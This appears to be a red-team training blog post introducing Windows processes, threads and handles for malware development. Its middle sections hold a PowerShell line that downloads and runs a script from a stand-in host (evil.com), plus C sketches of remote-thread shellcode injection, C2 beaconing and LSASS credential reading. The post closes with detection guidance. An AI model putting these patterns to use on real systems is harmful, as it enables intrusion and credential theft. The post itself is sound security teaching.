This blog series is the written companion to our Malware Development: Red Team Tradecraft YouTube playlist, where we walk through live demos of the evasion techniques discussed here, including payload staging, AV/EDR bypass, and in-memory, on disk, and network evasion. We recommend following along with the playlist alongside these posts.
Disclaimer
This blog series is designed for cybersecurity professionals, red teamers, and security analysts who want to understand malware development from an offensive and defensive perspective. The knowledge shared here is meant to help you better create, detect, analyze, and defend against malicious software, and for red team engagements. Always use this information ethically and legally within authorized security assessments and controlled environments.
Introduction
In this multi-part series, we will explore the fundamentals of malware development (maldev) from a cybersecurity analyst’s perspective. Before you can effectively create, analyze, detect, or defend against sophisticated malware, you need to understand how it works under the hood. This isn’t about teaching you to write malware – it’s about giving you the foundational knowledge to think like an attacker so you can defend better.
Modern malware is far more sophisticated than simple viruses of the past. Today’s threats use advanced techniques like process injection, in-memory execution, API unhooking, and syscall invocation to evade detection. To understand these techniques, we first need to master the building blocks: processes, threads, memory, and handles.
This first part of our Maldev 101 series will cover:
- The Factory Analogy – Understanding processes, threads, and handles through a simple mental model
- When to Use What – Decision framework for choosing the right component
- Memory vs. Disk – Why fileless malware is so prevalent
- Windows API Fundamentals – The interface between code and the operating system
- Practical Examples – Real-world code snippets demonstrating core concepts
By the end of this post, you’ll have a solid foundation to understand how malware interacts with the Windows operating system at a low level.
Understanding Core Concepts
We will use a factory analogy to break down all the concepts (processes, threads, and handles).
A Process is Like a Factory
It has its own space, resources (machines, tools), and workers. Each factory (process) is independent and doesn’t share resources with other factories. When you launch an application like notepad.exe or chrome.exeWindows creates a process for it with its own memory space, environment variables, and execution context.
Key Characteristics:
– Isolated memory space – One process cannot directly access another process’s memory
– Own resources – Each process has its own handles, environment variables, and loaded DLLs
– Independent execution – Crashing one process doesn’t crash others
– Security boundary – Different processes can run with different privilege levels
A Thread is Like a Worker Inside the Factory
Workers (threads) share the factory’s resources (memory, tools) and can work on tasks simultaneously. A single process can have multiple threads running concurrently, all sharing the same memory space.
Key Characteristics:
– Shared memory – All threads in a process can access the same memory
– Concurrent execution – Multiple threads can run simultaneously on multiple CPU cores
– Lightweight – Creating threads is faster than creating processes
– Communication – Threads can easily share data through shared memory
A Handle is Like a Worker’s ID Badge
It’s not the worker itself, but it lets you interact with the worker (e.g., assign tasks, check status, or stop them). In Windows, a handle is a reference to a system resource – it could be a file, process, thread, registry key, or any other kernel object.
Key Characteristics:
– Reference to resource – Not the resource itself, but a way to access it
– Managed by kernel – Windows keeps track of what each handle refers to
– Access control – Handles can have different permission levels
– Cleanup required – Should be closed when no longer needed to avoid resource leaks
In Short
- Process = Factory (the big picture, isolated environment)
- Thread = Worker (does the actual work)
- Handle = ID badge (lets you control and interact with resources)
Example in Code
// CreateThread = Hire a new worker (thread) and give them a badge (handle)
HANDLE hThread = CreateThread(NULL, 0, MyFunction, NULL, 0, NULL);
// WaitForSingleObject = Use the badge (handle) to wait for the worker to finish
WaitForSingleObject(hThread, INFINITE);
// CloseHandle = Return the badge when done
CloseHandle(hThread);This analogy keeps it simple and ties everything together!
Decision Framework: When to Use Handles, Threads, or Processes
When writing malware for red teaming (or more ethically, red team tools), deciding whether you need a handle, thread, or process depends on what you’re trying to accomplish. Here’s a breakdown to guide your decision:
1. Handles
What they are: References to system resources (files, registry keys, processes, threads, etc.)
When to use:
– Anytime you interact with system resources
– Opening a file (CreateFile) – Accessing a process (OpenProcess)
– Creating a mutex to prevent multiple instances
Example:
// Opening a handle to another process for injection
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
if (hProcess == NULL) {
printf("Failed to open process. Error: %lu\n", GetLastError());
return 1;
}
// Use the handle for operations like VirtualAllocEx, WriteProcessMemory
// ...
// Always close handles when done
CloseHandle(hProcess);Use handles when you’re interacting with or controlling Windows system objects.
2. Threads
What they are: Units of execution within a process.
When to use:
– You want to run code concurrently without launching a new process
– For code injection, e.g., CreateRemoteThread, NtCreateThreadEx
– To run background tasks, like keylogging or beaconing to a C2 server
Example:
// Local thread in your own process for background tasks
DWORD WINAPI BackgroundBeacon(LPVOID lpParam) {
while (true) {
// Send heartbeat to C2 server
SendBeacon();
Sleep(60000); // Sleep for 1 minute
}
return 0;
}
// Create the thread
HANDLE hThread = CreateThread(NULL, 0, BackgroundBeacon, NULL, 0, NULL);Threads are useful when stealth and performance are key – they stay within the same process, making detection harder.
3. Processes
What they are: Executable instances with their own memory space.
When to use:
– Running a separate executable
– Impersonation or parent process spoofing (e.g., CreateProcess with PPID spoofing)
– Offloading heavy tasks without risking the parent tool – Blending into normal system behavior
Example:
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
// Launch a new process (e.g., cmd.exe)
if (CreateProcess(
"C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
)) {
printf("Process created with PID: %lu\n", pi.dwProcessId);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}Use processes when you need isolation, separate execution, or to blend into normal system behavior.
Quick Decision Guide
| Goal | Use |
|---|---|
| Accessing system resources | Handle |
| Running code in another process | Remote Thread (after getting a Process Handle) |
| Background tasks in same process | Thread |
| Executing a separate binary | Process (CreateProcess) |
| Code injection | Process Handle + Remote Thread (or Thread Hijacking / APC) |
| Avoid crashing main tool | Separate Process |
| Shared access to a kernel object | Handle |
Understanding Memory vs. Disk: The Rise of Fileless Malware
Understanding memory vs. disk is crucial in malware development and red teaming, especially when discussing fileless malware.
Disk vs. Memory – What’s the Difference?
| Aspect | Disk-based | Memory-based (Fileless) |
|---|---|---|
| Stored on | Hard drive / file system | RAM (volatile memory) |
| Leaves artifact? | Yes – can be scanned by AV | No (or minimal) – hard to detect |
| Persistence | Survives reboots | Lost on reboot unless memory persistence is used |
| Speed of execution | Slower (I/O bottlenecks) | Faster |
| Detection risk | High – static signature scan | Lower – must be caught in memory |
Fileless Malware – Example Workflow
Here’s a simplified example of how fileless malware operates:
Scenario: Inject shellcode into memory without writing any file to disk.
Steps:
Payload stored in a remote server or encoded in the binary
- No
malware.exewritten to disk
- No
PowerShell or an EXE loads the payload directly into memory
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')Shellcode gets allocated in memory
- Use
VirtualAlloc,RtlMoveMemory, orWriteProcessMemory
- Use
Run the payload using a thread
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcodeBuffer, NULL, 0, NULL);No trace on disk – nothing saved to a
.exe,.dll, or.bat
Real-World Tools That Use Fileless Tactics
- Cobalt Strike (via Beacon in-memory execution)
- Metasploit (payloads injected into memory)
- PowerShell Empire (pure memory-based post-exploitation)
- Living-off-the-Land (LOLBin) attacks, e.g., using
rundll32,mshta,wscriptto load code from memory
Why Go Fileless?
- Avoid antivirus and EDR static detection – No file on disk = no file to scan
- Leave little to no forensic footprint – Harder to find evidence after the fact
- More flexible with in-memory patching and code injection
Quick Visual:
Disk-based:
[Malware.exe] --> Written to disk --> AV scans it --> Executes
Memory-based (fileless):
[Shellcode] --> Loaded into RAM only --> Executes directly --> No file savedPutting It All Together: Common Malware Flows
Now that we understand the individual components, let’s see how they combine in real-world scenarios.
Scenario 1: Classic Code Injection
Goal: Inject shellcode into another process (e.g., notepad.exe)
Components Needed:
– Handle (to target process)
– Memory (allocate space in target)
– Thread (execute the shellcode)
Code Flow:
// 1. Open handle to target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
// 2. Allocate memory in target process
LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 3. Write shellcode into allocated memory
WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcodeSize, NULL);
// 4. Create remote thread to execute shellcode
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteBuffer,
NULL, 0, NULL);
// 5. Cleanup
CloseHandle(hThread);
CloseHandle(hProcess);Scenario 2: C2 Beaconing
Goal: Maintain connection with Command & Control server
Components Needed:
– Thread (background communication)
– Network API (HTTP/HTTPS requests)
Code Flow:
DWORD WINAPI BeaconThread(LPVOID lpParam) {
while (true) {
// Send heartbeat to C2
char* response = SendHTTPRequest("https://c2server.com/beacon");
// Process commands from C2
if (response != NULL) {
ExecuteCommand(response);
}
// Sleep to avoid detection (jitter can be added)
Sleep(60000); // 1 minute
}
return 0;
}
// Start background beaconing
CreateThread(NULL, 0, BeaconThread, NULL, 0, NULL);Scenario 3: Credential Theft (LSASS Dumping)
Goal: Read memory from lsass.exe to steal credentials
Components Needed:
– Handle (to LSASS process with appropriate permissions)
– ReadProcessMemory (extract credential data)
Code Flow:
// 1. Find LSASS process ID
DWORD lsassPID = FindProcessByName("lsass.exe");
// 2. Enable SeDebugPrivilege (required to access LSASS)
EnableDebugPrivilege();
// 3. Open handle to LSASS
HANDLE hLSASS = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
FALSE, lsassPID);
// 4. Read memory regions
unsigned char buffer[4096];
SIZE_T bytesRead;
ReadProcessMemory(hLSASS, targetAddress, buffer, sizeof(buffer), &bytesRead);
// 5. Parse credentials (using tools like Mimikatz logic)
ParseCredentials(buffer, bytesRead);
// 6. Cleanup
CloseHandle(hLSASS);Common Malware Component Combinations
| Task | Elements Involved |
|---|---|
| Code Injection | Handle (to target) + Memory + Thread |
| C2 Beaconing | Thread + Network API |
| Persistence | Registry (Handle) + Scheduled Task (Process) |
| AV Evasion | Syscalls + Memory only + Obfuscation |
| Credential Theft | Handle to LSASS + ReadProcessMemory |
| DLL Injection | LoadLibrary (own process) or reflective load (target process) |
| Fileless Execution | Memory + Thread + No disk I/O |
General Rule of Thumb
- Think stealth? → Use threads, memory, and syscalls
- Need control or interaction? → Use handles
- Running something external or isolated? → Use processes
- Avoid detection? → Use fileless, masquerading, and low-level APIs
Conclusion
In this first part of the Maldev 101 series, we’ve covered the fundamental building blocks that every cybersecurity analyst needs to understand before diving deeper into malware development:
Key Takeaways:
- Processes, Threads, and Handles are the core components of Windows execution – understanding their relationship is crucial
- Memory-based (fileless) malware is harder to detect than disk-based malware because it leaves minimal forensic artifacts
- Choosing the right component (handle, thread, or process) depends on your goal: control, execution, or isolation
- Real-world malware combines these components in sophisticated ways to achieve stealth and persistence
What’s Coming Next:
In Part 2, we’ll dive into:
- Windows API deep dive – Understanding which APIs to use and when
- PE file format – How executables are structured
- Process injection techniques – Classic and modern methods
- Detection considerations – How defenders spot these techniques
This knowledge isn’t just about understanding how malware works – it’s about building the mental models necessary to create or defend against it. As a red teamer or a cybersecurity analyst, knowing how attackers leverage these Windows fundamentals will help you:
- Better analyse malicious samples in your sandbox
- Improve detection rules in your SIEM/EDR
- Understand the capabilities and limitations of different malware families
- Communicate effectively with red teams and threat intelligence teams
Resources for Further Learning
- Essential Reading:
- Windows Internals by Mark Russinovich
- The definitive guide to Windows architecture
- Practical Malware Analysis by Michael Sikorski & Andrew Honig
- Hands-on malware analysis
- Microsoft Learn Documentation
- Official Windows API reference
- Tools to Explore:
- Process Hacker – Advanced process viewer
- x64dbg – Windows debugger
- PE-bear – PE file analysis
- Sysinternals Suite – Process Monitor, Process Explorer, etc.
- Practice Environments:
- Set up isolated VMs (Windows 7, 10, Server editions)
- Use sandboxing solutions (VMware, VirtualBox with internal-only networks)
- Never test on production systems or outside authorized environments
Detections & Mitigations
Understanding these fundamentals also helps with detection:
- Process Injection Detection
- T1055 – Monitor for suspicious
OpenProcess,VirtualAllocEx,WriteProcessMemory,CreateRemoteThreadcall sequences - Look for unexpected cross-process memory operations
- T1055 – Monitor for suspicious
- Fileless Execution
- T1027, T1059 – Monitor PowerShell execution and script block logging
- Track processes with unusual memory allocations
- Detect LOLBin abuse patterns
- Credential Dumping
- T1003 – Monitor access to LSASS process memory
- Alert on SeDebugPrivilege usage
- Implement LSA Protection and Credential Guard

Highly skilled Pentester with experience in various areas, including multi-clouds (AWS, Azure, and GCP), network, web applications, APIs, and mobile penetration testing. In addition, he is passionate about conducting Red and Purple Team assessments and developing innovative solutions to protect company systems and data.
